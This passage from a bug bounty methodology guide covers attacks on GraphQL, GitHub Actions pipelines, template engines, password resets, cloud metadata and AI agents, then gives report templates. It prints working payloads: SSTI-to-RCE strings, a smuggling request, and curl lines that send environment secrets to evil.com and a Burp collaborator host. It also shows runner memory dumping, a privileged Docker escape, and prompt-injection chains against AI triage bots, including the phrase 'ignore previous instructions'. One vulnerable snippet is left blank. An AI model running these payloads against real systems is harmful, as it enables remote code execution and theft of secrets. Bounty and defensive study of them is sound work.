Escalation (conditional — most SQLi stops at data read). Only if the DB account is sysadmin/superuser and host exploitation is in program scope does SQLi → OS RCE apply (MSSQL xp_cmdshell, PG COPY…FROM PROGRAM, MySQL INTO OUTFILE). In BBP this is usually out of scope — prove the data read, note escalation potential in Impact, and don't run it.

GraphQL

Introspection (alone = Informational, but reveals attack surface)

{ __schema { types { name fields { name type { name } } } } }

Missing Field-Level Auth

# User query returns only own data
{ user(id: 1) { name email } }
# But node() bypasses per-object auth:
{ node(id: "dXNlcjoy") { ... on User { email phoneNumber ssn } } }

Batching Attack (Rate Limit Bypass)

[
  {"query": "{ login(email: \"[e-mail]\", password: \"pass1\") }"},
  {"query": "{ login(email: \"[e-mail]\", password: \"pass2\") }"},
  "...100 more..."
]

LLM / AI Features

• Prompt injection via user input passed to LLM
• Indirect injection via document/URL the AI processes
• IDOR in chat history (enumerate conversation IDs)
• System prompt extraction via roleplay/encoding
• RCE via code execution tool abuse
• ASCII smuggling (invisible unicode in LLM output)

Agentic AI Hunting (OWASP ASI01-ASI10)

When target has AI agents with tool access, these are the 10 attack classes:

ID	Vuln Class	What to Test
ASI01	Prompt injection	Override system prompt via user input -- make agent ignore its rules
ASI02	Tool misuse	Make AI call tools with attacker-controlled params (SSRF via "fetch URL", RCE via code tool)
ASI03	Data exfil	Extract training data / PII via crafted prompts that leak context
ASI04	Privilege escalation	Use AI to access admin-only tools -- agent has broader perms than user
ASI05	Indirect injection	Poison document/URL the AI processes -- hidden instructions in fetched content
ASI06	Excessive agency	AI takes destructive actions without confirmation -- delete, send, pay
ASI07	Model DoS	Craft inputs that cause infinite loops, excessive token usage, or OOM
ASI08	Insecure output	AI generates XSS/SQLi/command injection in its output that gets rendered
ASI09	Supply chain	Compromised plugins/tools/MCP servers the AI calls
ASI10	Sensitive disclosure	AI reveals internal configs, API keys, system prompts, user data

Triage rule: ASI alone = Informational. Must chain to IDOR/exfil/RCE/ATO for paid bounty.

Cache Poisoning / Web Cache Deception

• Test X-Forwarded-Host, X-Original-URL, X-Rewrite-URL -- unkeyed headers reflected in response
• Parameter cloaking (?param=value;poison=xss)
• Fat GET (body params on GET requests)
• Web cache deception (/account/settings.css -- trick cache into storing private response)
• Param Miner (Burp extension) -- auto-discovers unkeyed headers

HTTP Request Smuggling

• CL.TE: Content-Length processed by frontend, Transfer-Encoding by backend
• TE.CL: Transfer-Encoding processed by frontend, Content-Length by backend
• H2.CL: HTTP/2 downgrade smuggling
• TE obfuscation: Transfer-Encoding: xchunked, tab prefix, space prefix
• Use Burp "HTTP Request Smuggler" extension -- detects automatically

CL.TE Example

POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

Frontend reads Content-Length: 13 -> sends all. Backend reads Transfer-Encoding -> sees chunk "0" = end -> "SMUGGLED" left in buffer -> next user's request poisoned.

Android / Mobile Hunting

• Certificate pinning bypass (Frida/objection)
• Exported activities/receivers (AndroidManifest.xml)
• Deep link injection
• Shared preferences / SQLite in cleartext
• WebView JavaScript bridge
• Mobile API often uses older/different API version than web

CI/CD Pipeline — GitHub Actions Security

Tooling: Use sisakulint for automated SAST — 52 rules, taint propagation across steps/jobs/reusable workflows, 81.6% coverage of GitHub Security Advisories (31/38 GHSAs). Install: brew install sisakulint or download binary from releases.

Quick scan: sisakulint scan .github/workflows/ — flags Critical/High issues with auto-fix suggestions. Remote scan: sisakulint scan --remote owner/repo — scan without cloning.

Recon: Finding Workflow Files

# Clone target's public repos, then:
find . -name "*.yml" -path "*/.github/workflows/*" | head -50

# Quick grep for dangerous patterns:
grep -rn "pull_request_target\|workflow_run" .github/workflows/
grep -rn 'github\.event\.\(issue\|pull_request\|comment\)' .github/workflows/
grep -rn 'GITHUB_ENV\|GITHUB_OUTPUT\|GITHUB_PATH' .github/workflows/
grep -rn 'secrets\.\|secrets: inherit' .github/workflows/

# Run sisakulint on all workflows:
sisakulint scan .github/workflows/

Category 1: Code Injection & Expression Safety (CICD-SEC-04)

Root cause: Untrusted input (github.event.issue.title, github.event.pull_request.body, branch names, commit messages) interpolated into run: blocks via ${{ }} expressions.

Taint sources (attacker-controlled):

github.event.issue.title / .body
github.event.pull_request.title / .body / .head.ref
github.event.comment.body
github.event.review.body
github.event.pages.*.page_name
github.event.commits.*.message / .author.name
github.event.head_commit.message / .author.name
github.event.workflow_run.head_branch
github.head_ref

• Expression injection — ${{ github.event.issue.title }} in run: block = RCE

  # VULNERABLE — attacker creates issue with title: a]]; curl https://evil.com/$(env | base64) #
  run: echo "${{ github.event.issue.title }}"
  
  # FIXED — use env var (shell-quoted, not expression-interpolated)
  env:
    TITLE: ${{ github.event.issue.title }}
  run: echo "$TITLE"
  

• Environment variable injection — untrusted input → $GITHUB_ENV

  # VULNERABLE — attacker injects newline + arbitrary VAR=VALUE
  run: echo "BRANCH=${{ github.head_ref }}" >> $GITHUB_ENV
  
  # FIXED — use heredoc delimiter
  run: |
    {
      echo "BRANCH<<EOF"
      echo "${{ github.head_ref }}"
      echo "EOF"
    } >> $GITHUB_ENV
  

• PATH injection — untrusted input → $GITHUB_PATH = arbitrary binary execution
• Output clobbering — untrusted input → $GITHUB_OUTPUT without heredoc delimiter = downstream job manipulation
• Argument injection — untrusted input as CLI argument (e.g., docker run ${{ ... }})

  # VULNERABLE
  run: docker run   
  
  
  
       
      
  

Category 2: Pipeline Poisoning & Untrusted Checkout

Root cause: Privileged triggers (pull_request_target, workflow_run) checkout attacker's PR code, which then runs with repository secrets.

• Untrusted checkout — actions/checkout on pull_request_target without explicit safe ref

  # VULNERABLE — checks out attacker's PR code with repo secrets
  on: pull_request_target
  jobs:
    build:
      steps:
        - uses: actions/checkout@v4
          with:
            ref: ${{ github.event.pull_request.head.sha }}  # ATTACKER CODE
        - run: make build  # runs attacker's Makefile with secrets
  
  # FIXED — only checkout base branch, or use read-only permissions
  permissions: {}
  steps:
    - uses: actions/checkout@v4  # checks out base branch by default
  

• TOCTOU (Time-of-Check-Time-of-Use) — label-gated approval + mutable ref = attacker adds label, pushes malicious commit after approval
• Reusable workflow taint — secrets: inherit passes all secrets to called workflow that processes untrusted input
• Cache poisoning — untrusted checkout → build → cache write → trusted workflow reads poisoned cache
• Cache poisoning (poisonable step) — unsafe checkout followed by build step before cache save
• Artifact poisoning — actions/download-artifact from untrusted workflow_run without validation

Category 3: Supply Chain & Dependency Security (CICD-SEC-08)

• Unpinned actions — uses: actions/checkout@v4 (mutable tag) instead of SHA pin

  # VULNERABLE — tag can be force-pushed
  uses: actions/checkout@v4
  
  # FIXED — pinned to immutable commit SHA
  uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
  

• Impostor commit — fork network allows pushing commits with SHA that appears to belong to upstream repo
• Ref confusion — ambiguous tag/branch names exploited to load unintended action version
• Known vulnerable actions — check actions against GHSA database (sisakulint detects automatically)
• Archived actions — unmaintained action with unpatched vulnerabilities
• Unpinned container images — image: ubuntu:latest instead of SHA256 digest pin

Category 4: Credential & Secret Protection

• Secret exfiltration — curl https://evil.com/${{ secrets.TOKEN }} in workflow
• Secrets in artifacts — uploaded artifacts contain .env, credentials, or hidden files

  # FIXED — exclude hidden files
  - uses: actions/upload-artifact@v4
    with:
      include-hidden-files: false
  

• Unmasked secrets — fromJson() derived values bypass GitHub's automatic masking

  # FIXED — manually mask derived secrets
  run: |
    TOKEN=$(echo '${{ secrets.JSON_CREDS }}' | jq -r '.token')
    echo "::add-mask::$TOKEN"
  

• Excessive secrets: inherit — reusable workflow call inherits all secrets when it only needs one
• Hardcoded credentials — API keys, passwords, tokens directly in workflow YAML

Category 5: Triggers & Access Control (CICD-SEC-01)

• Dangerous triggers without mitigation — pull_request_target or workflow_run with no permissions: {}, no approval gate, no ref restriction
• Dangerous triggers with partial mitigation — some protections present but bypassable
• Label-based approval bypass — if: contains(github.event.pull_request.labels.*.name, 'approved') is spoofable (attacker can add labels)
• Bot condition spoofing — if: github.actor != 'dependabot[bot]' is trivially bypassed by naming account similarly
• Excessive GITHUB_TOKEN permissions — permissions: write-all when only contents: read needed
• Self-hosted runners in public repos — untrusted PRs execute on org infrastructure = container escape → lateral movement
• OIDC token theft — CI runners expose OIDC tokens that grant cloud access

Category 6: AI Agent Security (NEW — 2025+)

• Unrestricted AI trigger — allowed_non_write_users: "*" lets any user trigger AI agent execution
• Excessive tool grants — AI agent given Bash/Write/Edit tools in untrusted trigger context = attacker prompt → RCE
• Prompt injection via workflow context — ${{ github.event.issue.body }} interpolated into AI agent prompt parameter

Hunting Workflow

1. Recon: find all .github/workflows/*.yml in target's public repos
2. Scan: sisakulint scan .github/workflows/ (or --remote owner/repo)
3. Triage: Critical/High findings → manual verification
4. For each finding:
   a. Can I trigger this as an external contributor? (fork PR, issue creation, comment)
   b. What secrets are accessible? (check permissions: block, secrets usage)
   c. What's the blast radius? (repo secrets → deploy keys → cloud access)
5. PoC: create a fork, submit PR/issue that triggers the vulnerable workflow
6. Prove: show secret exfiltration, code execution, or artifact tampering

Expression Injection PoC Template

# Step 1: Create an issue with injection payload in title
gh issue create --repo TARGET/REPO --title '"; curl https://ATTACKER.burpcollaborator.net/$(cat $GITHUB_ENV | base64 -w0) #' --body "test"

# Step 2: If workflow triggers on issues and interpolates title → secrets exfiltrated
# CVSS: 9.3 Critical (RCE with repo secrets)

Real-World GHSAs (Proven Payouts)

GHSA	Action	Bug Class	Severity
GHSA-gq52-6phf-x2r6	tj-actions/branch-names	Expression injection via branch name	Critical
GHSA-4xqx-pqpj-9fqw	atlassian/gajira-create	Code injection in privileged trigger	Critical
GHSA-g86g-chm8-7r2p	check-spelling/check-spelling	Secret exposure in build logs	Critical
GHSA-cxww-7g56-2vh6	actions/download-artifact	Artifact poisoning (official action)	High
GHSA-h3qr-39j9-4r5v	gradle/gradle-build-action	Cache poisoning via untrusted checkout	High
GHSA-mrrh-fwg8-r2c3	tj-actions/changed-files	Supply chain — impostor commit	High
GHSA-phf6-hm3h-x8qp	broadinstitute/cromwell	Token exposure via code injection	Critical
GHSA-qmg3-hpqr-gqvc	reviewdog/action-setup	Time-bomb via tag pinning	High
GHSA-vqf5-2xx6-9wfm	github/codeql-action	Known vulnerable official action	High
GHSA-hw6r-g8gj-2987	pytorch/pytorch	Argument injection in build workflow	Moderate

A→B Signal: CI/CD Chains

Expression injection → secret exfiltration → cloud account takeover
Untrusted checkout → Makefile RCE → deploy key theft → repo takeover
Artifact poisoning → release binary tampering → supply chain compromise
Cache poisoning → build output manipulation → backdoored deployment
Impostor commit → pinned action hijack → all downstream repos affected
OIDC token theft → cloud metadata → S3/GCS read → customer data
Self-hosted runner → container escape → internal network pivot

Deep-Dive: From sisakulint Finding to Bounty Report

sisakulint findings are potentially exploitable — not confirmed bugs. Every finding needs manual verification. The patterns below are extracted from 36 real-world paid reports ($250K+ total payouts). Each section follows the thinking that led to actual bounty payments.

1. Code Injection / Argument Injection

Gate question: Can an external attacker trigger this workflow AND does the tainted input reach a shell context?

Verification depth:

1. Trigger accessibility — issues: opened and issue_comment: created are triggerable by ANY GitHub user. pull_request_target is triggerable via fork PR. Check if there's an if: condition filtering by actor/association.
2. Direct vs transitive taint — The workflow file itself may look safe. Cycode found Bazel's $13K bug because cherry-picker.yml passed ${{ github.event.issue.title }} via with: to a composite action in another repo (bazelbuild/continuous-integration). The composite action's action.yml had run: TITLE="${{ inputs.issue-title }}". Conventional scanners (actionlint) missed this because they don't follow uses: into external composite actions. Always fetch and read the composite action's action.yml.
3. Payload construction — Branch names cannot contain spaces. Ultralytics YOLO attacker used ${IFS} (Internal Field Separator) and Bash brace expansion {curl,-sSfL,URL} to bypass this. Issue titles/bodies have no such restriction.
4. Secrets reachability — Check permissions: at workflow AND job level. No explicit permissions: block = repo default (often write-all). Check env: blocks for ${{ secrets.* }}. Check if GITHUB_TOKEN has write permissions.
5. Impact chain — Bazel: issue title injection → composite action shell injection → BAZEL_IO_TOKEN + GITHUB_TOKEN (write-all) → Bazel codebase backdoor capability (affects Google, Kubernetes, Uber, LinkedIn).

Kill signals: ${{ contains(...) }} or ${{ startsWith(...) }} returning booleans are NOT injectable — false positive. ${{ github.event.pull_request.labels.*.name }} inside contains() evaluates to true/false, not the label text.

2. Untrusted Checkout (Pwn Request)

Gate question: Does the workflow checkout attacker-controlled code AND then execute something from that checkout?

Verification depth:

1. Explicit vs implicit code execution — The Flank $7.5K bug: gh pr checkout → gradle/gradle-build-action runs Gradle → Gradle auto-evaluates settings.gradle.kts as Kotlin script. The attacker never wrote a run: command. Any build tool that reads config from the repo is an execution vector: Makefile, package.json (postinstall scripts), setup.py, build.gradle.kts, .cargo/config.toml, Gemfile.
2. Issue_comment is as dangerous as pull_request_target — Rspack NPM token theft: issue_comment trigger + refs/pull/${{ github.event.issue.number }}/head checkout. issue_comment runs in base repo context with full secrets. Draft PRs are included. No contributor status check. Always check issue_comment workflows for PR checkout patterns.
3. Self-hosted runner escalation — If runs-on: contains self-hosted, check: (a) Is the runner ephemeral? (--ephemeral in config.sh). (b) Is the runner in Docker group? (docker run -v /:/host --privileged). (c) PyTorch pattern: contributor trick (typo fix PR → merge → contributor status → auto-trigger on self-hosted runner without approval) → RoR (Runner-on-Runner: RUNNER_TRACKING_ID=0 + install attacker's runner agent) → wait for privileged workflow → steal PATs from .git/config or process memory.
4. TOCTOU — Label-gated pull_request_target workflows: attacker gets label added (social engineering), workflow checks label exists, attacker pushes malicious commit between check and checkout. The ref: at checkout time resolves to the new commit. Mutable refs (github.event.pull_request.head.sha at trigger time vs checkout time) are the root cause.
5. Post-exploitation — After initial access, enumerate all secrets: env | base64, cat /proc/self/environ, gcore $(pgrep Runner.Worker) + strings core.* | grep ghp_. PyTorch attackers got 3 bot PATs → combined them to bypass branch protection on main.

Kill signals: if: "!github.event.pull_request.head.repo.fork" blocks external attackers. permissions: {} at workflow level with only contents: read at job level limits damage. Ephemeral runners with --ephemeral flag prevent persistence.

3. Artifact Poisoning

Gate question: Is there a TWO-STAGE workflow pattern where Stage 1 (pull_request, no secrets) uploads artifacts and Stage 2 (workflow_run, with secrets) downloads and uses them?

Verification depth:

1. Cross-workflow artifact flow — Same-workflow upload/download (build job → test job via needs:) is NOT poisonable because the attacker's PR runs their own build. The dangerous pattern is: pull_request workflow uploads → separate workflow_run workflow downloads. workflow_run triggers on the completion of another workflow and runs in the DEFAULT BRANCH context with full secrets.
2. Download path matters — actions/download-artifact with path: . or workspace-relative paths (grafana-server/bin) can overwrite source code, build scripts, or binaries. Safe pattern: extract to ${{ runner.temp }}/artifacts.
3. Source validation — Does the workflow_run consumer check github.event.workflow_run.head_repository.full_name != github.repository? If not, fork PR artifacts are consumed blindly. Rust release pipeline was vulnerable to exactly this.
4. ArtiPACKED (persist-credentials) — actions/checkout defaults to persist-credentials: true. This writes GITHUB_TOKEN to .git/config. If the artifact upload path includes .git/ (e.g., path: .), the token is publicly downloadable from the Actions artifact. Check: does any upload-artifact step use path: . or a broad path that includes .git/?

Kill signals: Upload and download in the same workflow run (connected by needs:). workflow_run consumer that explicitly checks fork origin. persist-credentials: false on checkout.

4. Cache Poisoning

Gate question: Can a fork PR write a cache entry that the default branch later restores in a privileged context?

CRITICAL: GitHub's cache scoping does NOT fully prevent this. A PR branch can read caches from the default branch. A fork PR workflow can WRITE cache entries. If the cache key is deterministic (hashFiles('package-lock.json')) and the attacker doesn't modify that file, the fork PR writes to the SAME cache key.

Verification depth:

1. Key predictability — key: ${{ runner.os }}-node-${{ hashFiles('package-lock.json') }} is fully predictable. Adding github.sha or github.run_id to the key makes it unpredictable. Check every cache key for the presence of an unpredictable component.
2. Cache hierarchy exploitation — workflow_run and workflow_dispatch workflows run in the default branch context. If they write to caches with predictable keys, an attacker who can trigger the upstream workflow (via fork PR) can pre-poison the cache. The run-dashboard-search-e2e.yml pattern: workflow_run trigger → actions/cache with hashFiles() key → all PR workflows read this cache.
3. Payload injection — Cacheract: inject malware into package manager caches (node_modules/.cache, ~/.cache/pip, ~/.gradle/caches). The malware self-perpetuates because each restore → build → save cycle preserves the payload. Cache TTL is 7 days — the payload survives across multiple workflow runs.
4. Privileged consumption — The cache is restored in a push or schedule workflow on the default branch. These workflows have full secrets access. The poisoned dependency executes during npm install / pip install / gradle build and exfiltrates secrets.
5. Clinejection chain — Prompt injection → AI agent runs npm install from attacker commit → Cacheract in npm cache → nightly publish workflow restores cache → VSCE_PAT, OVSX_PAT, NPM_RELEASE_TOKEN stolen → malicious Cline v2.3.0 published for 8 hours.

Kill signals: Cache key includes github.sha or github.run_id. Separate cache keys per workflow. actions/cache/restore (read-only) instead of actions/cache (read-write) in PR workflows.

5. Self-Hosted Runners

Gate question: Is a self-hosted runner used in a PUBLIC repo where external contributors can trigger workflows?

Verification depth:

1. Approval settings — Default: "Require approval for first-time contributors". After ONE merged PR (even a typo fix), the attacker becomes a "contributor" and subsequent PRs auto-trigger without approval. GitHub runner-images $20K bug used exactly this trick.
2. Runner persistence — Non-ephemeral runners retain state between jobs. RUNNER_TRACKING_ID=0 prevents the runner from cleaning up attacker processes after job completion. Detached Docker containers (docker run -d --restart always) also survive cleanup.
3. Runner-on-Runner (RoR) — Install an official GitHub Actions runner binary on the target's self-hosted runner, register it to attacker's private org. Uses only legitimate GitHub binaries and HTTPS to github.com — indistinguishable from normal runner traffic. No C2 server needed. GitHub itself is the C2.
4. Lateral movement — RoR persistence → wait for privileged push/schedule workflows → steal tokens from .git/config, $GITHUB_ENV, /proc/PID/environ, or Runner.Worker process memory. PyTorch: 3 bot PATs → 93 repos → AWS S3 write access → pip install pytorch supply chain.
5. Docker group escalation — docker run -v /:/host --privileged alpine chroot /host → full host root. Add SSH keys, modify sudoers, install persistent backdoors.

Kill signals: --ephemeral flag on runner registration. "Require approval for ALL outside collaborators" (not just first-time). Runner not in Docker group. Private repo (no external PRs).

6. Supply Chain (commit-sha / impostor-commit / ref-confusion)

Gate question: Does the workflow use mutable tags (@v1, @v2) for actions, and could those tags be replaced?

Verification depth:

1. Tag mutability — git tag -f v1 <malicious-commit> replaces the tag. 98.4% of repos don't use SHA pinning (Legit Security 2024). tj-actions attack: all version tags (v1, v35, v45) replaced with memdump.py payload → 23K repos affected → 218 confirmed secret leaks.
2. Impostor commits — Fork network shares object store with parent. Attacker pushes a commit to fork, then references that commit SHA in the parent repo's uses:. GitHub resolves it because the SHA exists in the shared object store.
3. RepoJacking — Org renames create a redirect. Old name becomes available. Attacker registers old org name, creates same repo, hosts malicious action. Shopify/unity-buy-sdk used MirrorNG/unity-runner → MirrorNG renamed to MirageNet → MirrorNG was claimable. Check: GET /users/<action-owner> returns 404? Takeover possible.
4. Payload stealth — tj-actions memdump.py: extract secrets from Runner.Worker process memory via /proc/PID/maps + /proc/PID/mem, encrypt with AES+RSA, output to workflow log. Logs are publicly visible but encrypted — only attacker has the key.

Kill signals: Full 40-char SHA pinning (uses: actions/checkout@b4ffde65...). Dependabot configured for github-actions ecosystem. Organization-level action allowlist.

7. AI Agent Security

Gate question: Is an AI agent (Gemini CLI, Claude Code, Cline, Codex) invoked in a workflow where external users can influence the prompt?

Verification depth:

1. Trigger + prompt source — issues: opened → AI triage bot reads github.event.issue.body. The body IS the prompt. HTML comments (<!-- ignore previous instructions -->) are invisible in GitHub UI but included in the API response and thus in the AI prompt.
2. Tool permissions — If the AI agent has Bash/Write/Edit tools and runs with secrets in env, prompt injection = RCE + secret exfil. allowed_non_write_users: "*" means ANY user can trigger.
3. Multi-phase chain — Clinejection: prompt injection → AI runs npm install from attacker commit → Cacheract plants in npm cache → nightly publish restores cache → tokens stolen → malicious version published. A prompt injection finding alone may seem low-severity, but it's a gateway to cache poisoning and supply chain attacks.

Kill signals: author_association == 'MEMBER' || 'OWNER' check before AI processing. --read-only --no-exec flags on AI CLI. permissions: {} at workflow level.

8. Permissions / Secrets Hygiene

Not standalone bugs — these are force multipliers. A code-injection-medium with permissions: write-all is Critical. The same injection with permissions: { contents: read } is limited.

Chaining checklist:

• secrets: inherit on reusable workflow call → all org secrets accessible to called workflow
• permissions: block missing → repo default (often write-all)
• GITHUB_TOKEN with contents: write → CVE-2022-46258 pattern: use Contents API to create new workflow file → new workflow accesses ALL repo/org secrets (the original workflow never referenced them)

Key references:

• sisaku-security/agent-idea/bugbountyreport — 36 real-world reports with full attack chains
• sisakulint docs/advisory — 38 GHSAs with detection mapping
• DEF CON 32: Grand Theft Actions — Khan & Stawinski, $250K+ in self-hosted runner bugs
• Synacktiv: GitHub Actions Exploitation (5 parts)

SSTI -- Server-Side Template Injection

Detection Payloads

{{7*7}}          -> 49 = Jinja2 / Twig / generic
${7*7}           -> 49 = Freemarker / Pebble / Velocity
<%= 7*7 %>       -> 49 = ERB (Ruby)
#{7*7}           -> 49 = Mako / some Ruby
*{7*7}           -> 49 = Spring (Thymeleaf)
{{7*'7'}}        -> 7777777 = Jinja2 (Twig gives 49)

Where to Test

• Name/bio/description fields (profile pages)
• Email templates (invoice name, username in confirmation email)
• Custom error messages
• PDF generators (invoice, report export)
• URL path parameters
• Search queries reflected in results

Jinja2 -> RCE (Python / Flask)

{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

Twig -> RCE (PHP / Symfony)

{{["id"]|filter("system")}}

Freemarker -> RCE (Java)

<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

ERB -> RCE (Ruby on Rails)

<%= `id` %>

Subdomain Takeover

Detection

# Check for dangling CNAMEs
cat /tmp/subs.txt | dnsx -silent -cname -resp | grep -i "CNAME" | tee /tmp/cnames.txt
# Look for CNAMEs to: github.io, heroku.com, azurewebsites.net, netlify.app, s3.amazonaws.com

# Automated takeover detection
nuclei -l /tmp/subs.txt -t ~/nuclei-templates/takeovers/ -o /tmp/takeovers.txt

Quick-Kill Fingerprints

"There isn't a GitHub Pages site here"  -> GitHub Pages
"NoSuchBucket"                          -> AWS S3
"No such app"                           -> Heroku
"404 Web Site not found"                -> Azure App Service
"Fastly error: unknown domain"          -> Fastly CDN
"project not found"                     -> GitLab Pages
"It looks like you may have typed..."   -> Shopify

Impact Escalation

• Basic takeover: serve page under target.com subdomain -> Low/Medium
• • Cookies: if target.com sets cookie with domain=.target.com -> credential theft -> High
• • OAuth redirect: if sub.target.com is a registered redirect_uri -> ATO chain -> Critical
• • CSP bypass: if sub.target.com is in target's CSP -> XSS anywhere -> Critical

ATO -- Account Takeover (Complete Taxonomy)

Path 1: Password Reset Poisoning (Host Header Injection)

POST /forgot-password
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
email=[e-mail]
# If reset link = https://attacker.com/reset?token=XXXX -> ATO
# Also try: X-Forwarded-Host, X-Host, X-Forwarded-Server

Path 2: Reset Token in Referrer Leak

After clicking reset link, if page loads external resources -> token in Referer header to external domain.

Path 3: Predictable / Weak Reset Tokens

# If token < 16 hex chars or numeric only -> brute-forceable
ffuf -u "https://target.com/reset?token=FUZZ" -w <(seq -w 000000 999999) -fc 404 -t 50

Path 4: Token Not Expiring / Reuse

Request token -> wait 2 hours -> use it -> still works? Request token #1 -> request token #2 -> use token #1 -> still works?

Path 5: Email Change Without Re-Authentication

PUT /api/user/email
{"new_email": "[e-mail]"}
# If no current_password required -> attacker changes email -> locks out victim

Path 6: OAuth Account Linking Abuse

Can you link an OAuth account from a different email to an existing account?

Path 7: Session Fixation

GET /login -> note Set-Cookie session=XYZ -> Log in -> does session ID change? If not = fixation.

Cloud / Infra Misconfigs

S3 / GCS / Azure Blob

# S3 public listing
aws s3 ls s3://target-bucket-name --no-sign-request

# Try common names
for name in target target-backup target-assets target-prod target-staging target-uploads target-data; do
  curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"
done

EC2 Metadata (via SSRF)

http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns role name, then:
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
# Returns AccessKeyId, SecretAccessKey, Token -> Critical

# GCP (needs header Metadata-Flavor: Google):
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# Azure (needs header Metadata: true):
http://169.254.169.254/metadata/instance?api-version=2021-02-01

Firebase Open Rules

curl -s "https://TARGET-APP.firebaseio.com/.json"
# If data returned -> open read
curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"'
# If success -> open write -> Critical

Exposed Admin Panels

/jenkins       /grafana       /kibana        /elasticsearch
/swagger-ui.html  /api-docs   /phpMyAdmin    /adminer.php
/.env          /config.json   /server-status /actuator/env

Kubernetes / Docker

# K8s API (unauthenticated):
curl -sk https://TARGET:6443/api/v1/namespaces/default/pods
# Docker API:
curl -s http://TARGET:2375/containers/json

---

PHASE 4: VALIDATE

The 7-Question Gate (Run BEFORE Writing ANY Report)

All 7 must be YES. Any NO -> STOP.

Q1: Can I exploit this RIGHT NOW with a real PoC?

Write the exact HTTP request. If you cannot produce a working request -> KILL IT.

Q2: Does it affect a REAL user who took NO unusual actions?

No "the user would need to..." with 5 preconditions. Victim did nothing special.

Q3: Is the impact concrete (money, PII, ATO, RCE)?

"Technically possible" is not impact. "I read victim's SSN" is impact.

Q4: Is this in scope per the program policy?

Check the exact domain/endpoint against the program's scope page.

Q5: Did I check Hacktivity/changelog for duplicates?

Search the program's disclosed reports and recent changelog entries.

Q6: Is this NOT on the "always rejected" list?

Check the list below. If it's there and you can't chain it -> KILL IT.

Q7: Would a triager reading this say "yes, that's a real bug"?

Read your report as if you're a tired triager at 5pm on a Friday. Does it pass?

4 Pre-Submission Gates

Gate 0: Reality Check (30 seconds)

[ ] The bug is real -- confirmed with actual HTTP requests, not just code reading
[ ] The bug is in scope -- checked program scope explicitly
[ ] I can reproduce it from scratch (not just once)
[ ] I have evidence (screenshot, response, video)

Gate 1: Impact Validation (2 minutes)

[ ] I can answer: "What can an attacker DO that they couldn't before?"
[ ] The answer is more than "see non-sensitive data"
[ ] There's a real victim: another user's data, company's data, financial loss
[ ] I'm not relying on the user doing something unlikely

Gate 2: Deduplication Check (5 minutes)

[ ] Searched HackerOne Hacktivity for this program + similar bug title
[ ] Searched GitHub issues for target repo
[ ] Read the most recent 5 disclosed reports for this program
[ ] This is not a "known issue" in their changelog or public docs

Gate 3: Report Quality (10 minutes)

[ ] Title: One sentence, contains vuln class + location + impact
[ ] Steps to reproduce: Copy-pasteable HTTP request
[ ] Evidence: Screenshot/video showing actual impact (not just 200 response)
[ ] Severity: Matches CVSS 3.1 score AND program's severity definitions
[ ] Remediation: 1-2 sentences of concrete fix

CVSS 3.1 Quick Guide

Factor	Low (0-3.9)	Medium (4-6.9)	High (7-8.9)	Critical (9-10)
Attack Vector	Physical	Local	Adjacent	Network
Privileges	High	Low	None	None
User Interaction	Required	Required	None	None
Impact	Partial	Partial	High	High (all 3)

Typical Scores by Bug Class

Bug	Typical CVSS	Severity
IDOR (read PII)	6.5	Medium
IDOR (write/delete)	7.5	High
Auth bypass -> admin	9.8	Critical
Stored XSS	5.4-8.8	Med-High
SQLi (data exfil)	8.6	High
SSRF (cloud metadata)	9.1	Critical
Race condition (double spend)	7.5	High
GraphQL auth bypass	8.7	High
JWT none algorithm	9.1	Critical

---

ALWAYS REJECTED -- Never Submit These

Missing CSP/HSTS/security headers, missing SPF/DKIM/DMARC, GraphQL introspection alone, banner/version disclosure without working CVE exploit, clickjacking on non-sensitive pages, tabnabbing, CSV injection, CORS wildcard without credential exfil PoC, logout CSRF, self-XSS, open redirect alone, OAuth client_secret in mobile app, SSRF DNS-ping only, host header injection alone, no rate limit on non-critical forms, session not invalidated on logout, concurrent sessions, internal IP disclosure, mixed content, SSL weak ciphers, missing HttpOnly/Secure cookie flags alone, broken external links, pre-account takeover (usually), autocomplete on password fields.

N/A hurts your validity ratio. Informative is neutral. Only submit what passes the 7-Question Gate.

Conditionally Valid With Chain

These low findings become valid bugs when chained:

Low Finding	+ Chain	= Valid Bug
Open redirect	+ OAuth code theft	ATO
Clickjacking	+ sensitive action + PoC	Account action
CORS wildcard	+ credentialed exfil	Data theft
CSRF	+ sensitive state change	Account takeover
No rate limit	+ OTP brute force	ATO
SSRF (DNS only)	+ internal access proof	Internal network access
Host header injection	+ password reset poisoning	ATO
Self-XSS	+ login CSRF	Stored XSS on victim

---

PHASE 5: REPORT

HackerOne Report Template

Title: [Vuln Class] in [endpoint/feature] leads to [Impact]

## Summary
[2-3 sentences: what it is, where it is, what attacker can do]

## Steps To Reproduce
1. Log in as attacker (account A)
2. Send request: [paste exact request]
3. Observe: [exact response showing the bug]
4. Confirm: [what the attacker gained]

## Supporting Material
[Screenshot / video of exploitation]
[Burp Suite request/response]

## Impact
An attacker can [specific action] resulting in [specific harm].
[Quantify if possible: "This affects all X users" or "Attacker can access Y data"]

## Severity Assessment
CVSS 3.1 Score: X.X ([Severity label])
Attack Vector: Network | Complexity: Low | Privileges: None | User Interaction: None

Bugcrowd Report Template

Title: [Vuln] at [endpoint] -- [Impact in one line]

Bug Type: [IDOR/SSRF/XSS/etc]
Target: [URL or component]
Severity: [P1/P2/P3/P4]

Description:
[Root cause + exact location]

Reproduction:
1. [step]
2. [step]
3. [step]

Impact:
[Concrete business impact]

Fix Suggestion:
[Specific remediation]

Human Tone Rules (Avoid AI-Sounding Writing)

• Start sentences with the impact, not the vulnerability name
• Write like you're explaining to a smart developer, not a textbook
• Use "I" and active voice: "I found that..." not "A vulnerability was discovered..."
• One concrete example beats three abstract sentences
• No em dashes, no "comprehensive/leverage/seamless/ensure"

Report Title Formula

[Bug Class] in [Exact Endpoint/Feature] allows [attacker role] to [impact] [victim scope]

Good titles:

IDOR in /api/v2/invoices/{id} allows authenticated user to read any customer's invoice data
Missing auth on POST /api/admin/users allows unauthenticated attacker to create admin accounts
